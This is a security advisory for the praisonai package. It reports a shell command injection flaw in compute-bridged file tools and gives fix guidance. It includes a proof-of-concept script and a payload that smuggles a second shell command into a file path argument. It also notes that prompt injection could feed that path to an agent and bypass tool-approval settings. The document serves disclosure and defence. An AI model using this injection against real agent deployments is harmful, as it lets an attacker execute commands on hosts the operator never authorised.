| Package | Affected versions | Patched versions |
|---|---|---|
| praisonai | ≥ 4.6.10, < 4.6.59 | 4.6.59 |
LocalManagedAgent / SandboxedAgent compute bridging wraps
read_file, list_files, and write_file when a compute provider is
attached. The bridge converts those file operations into shell command strings
using raw path arguments, then sends those strings to shell-backed compute
providers.
An attacker who can influence a file-tool path argument can break out of the
quoted path and execute arbitrary shell commands in the compute environment.
With compute="local", commands execute through the local subprocess compute
provider on the host. With Docker, commands execute in the container.
MervinPraison/PraisonAIpraisonaisrc/praisonai/praisonai/integrations/managed_local.pyv4.6.10v4.6.56v4.6.57main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1v4.6.9v4.6.1v4.5.149>= 4.6.10, <= 4.6.57Current managed_local.py defines the bridged tool set:
compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}
For file tools, _bridge_file_tool() constructs shell command strings:
command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'
The local compute provider executes the string with
asyncio.create_subprocess_shell(...); the Docker compute provider executes it
with ["sh", "-c", command].
The bridge keeps the low-risk read_file / list_files tool names and
signatures while changing their execution primitive into shell interpretation.
Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThe normal read_file and list_files implementations treat the same payload
as a literal path and do not expand shell metacharacters. The approval registry
also marks execute_command as critical, while read_file and list_files
are not dangerous-tool entries.
An application that exposes a PraisonAI agent using LocalManagedAgent or
SandboxedAgent with a compute provider and a restricted file-tool set can be
tricked into executing shell commands through a path argument to read_file or
list_files.
This can bypass least-privilege tool configuration and tool-approval
expectations. A prompt-injection path, chat endpoint, automation webhook, or
other user-controlled agent task can supply the file path argument without the
operator granting execute_command.
The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.
Minimal inline reproducer:
import os
from pathlib import Path
from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file
workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")
canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'
# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))
cfg = LocalManagedConfig(
name="prai-cand-006-poc",
tools=["read_file", "list_files"],
working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}
bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)
Command:
python3 \
submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
--repo artifacts/repos/praisonai-current
Current-head result:
{
"describe": "v4.6.57-4-g2f9677ab",
"vulnerable": true,
"normal_controls": {
"read_file_payload_contains_canary": false,
"list_files_payload_contains_canary": false
},
"bridged_results": {
"read_file_payload_contains_canary": true,
"list_files_payload_contains_canary": true
},
"approval_registry": {
"execute_command_risk": "critical",
"read_file_risk": null,
"list_files_risk": null
}
}
The payload used by the PoV is:
missing"; printf "$PRAI_CAND_006_CANARY"; #
Normal read_file treats this as a literal missing filename. The bridged tool
constructs:
cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"
and returns the canary from the compute shell.
Do not implement file operations by constructing shell command strings from path/content arguments.
Preferred fix:
write_file content as data, not shell source. The current heredoc
construction is also unsafe if content can contain the delimiter.", ;, $(), backticks,
newline, and # and assert no shell execution occurs.execute_command as the only bridge path that intentionally accepts a
shell command string, with critical approval semantics.A minimal stopgap is to remove read_file, list_files, and write_file from
compute_bridged_tools until safe provider-native file operations exist.
The vector assumes an attacker has low-privilege access to an agent interface
that can request file-tool use. If a deployment exposes such an agent without
authentication, PR:N may be appropriate.